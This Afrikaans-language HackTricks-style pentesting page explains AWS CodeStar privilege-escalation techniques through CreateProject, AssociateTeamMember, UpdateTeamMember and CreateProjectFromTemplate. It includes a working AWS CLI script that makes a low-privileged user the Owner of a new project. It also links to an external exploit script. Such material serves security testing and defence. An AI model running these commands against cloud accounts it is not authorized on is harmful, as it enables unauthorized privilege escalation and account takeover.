# AWS - Codestar Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Codestar

Jy kan meer inligting oor codestar vind in:

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `iam:PassRole`, `codestar:CreateProject`

Met hierdie toestemmings kan jy **misbruik maak van 'n codestar IAM Rol** om **arbitraire aksies** deur 'n **cloudformation sjabloon** uit te voer. Kyk na die volgende bladsy:

{{#ref}}
iam-passrole-codestar-createproject.md
{{#endref}}

### `codestar:CreateProject`, `codestar:AssociateTeamMember`

Hierdie tegniek gebruik `codestar:CreateProject` om 'n codestar projek te skep, en `codestar:AssociateTeamMember` om 'n IAM gebruiker die **eienaar** van 'n nuwe CodeStar **projek** te maak, wat hulle 'n **nuwe beleid met 'n paar ekstra toestemmings** sal gee.
```bash
PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
```
As jy reeds 'n **lid van die projek** is, kan jy die toestemming **`codestar:UpdateTeamMember`** gebruik om **jou rol** na eienaar te verander in plaas van `codestar:AssociateTeamMember`.

**Potensiële Impak:** Privesc na die codestar beleid wat gegenereer is. Jy kan 'n voorbeeld van daardie beleid vind in:

{{#ref}}
codestar-createproject-codestar-associateteammember.md
{{#endref}}

### `codestar:CreateProjectFromTemplate`

1. **Skep 'n Nuwe Projek:**
- Gebruik die **`codestar:CreateProjectFromTemplate`** aksie om die skepping van 'n nuwe projek te begin.
- Na suksesvolle skepping, word toegang outomaties toegestaan vir **`cloudformation:UpdateStack`**.
- Hierdie toegang teiken spesifiek 'n stapel wat geassosieer is met die `CodeStarWorker-<generic project name>-CloudFormation` IAM rol.
2. **Werk die Teikenstapel Op:**
- Met die toegewyde CloudFormation toestemmings, gaan voort om die gespesifiseerde stapel op te dateer.
- Die stapel se naam sal tipies aan een van twee patrone voldoen:
- `awscodestar-<generic project name>-infrastructure`
- `awscodestar-<generic project name>-lambda`
- Die presiese naam hang af van die gekose sjabloon (verwys na die voorbeeld uitbuitingskrip).
3. **Toegang en Toestemmings:**
- Na die opdatering, verkry jy die vermoëns wat aan die **CloudFormation IAM rol** gekoppel is met die stapel.
- Let op: Dit bied nie inherent volle administrateur regte nie. Bykomende verkeerd geconfigureerde hulpbronne binne die omgewing mag benodig word om regte verder te verhoog.

Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
Jy kan die uitbuiting vind in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)

**Potensiële Impak:** Privesc na cloudformation IAM rol.

{{#include ../../../../banners/hacktricks-training.md}}
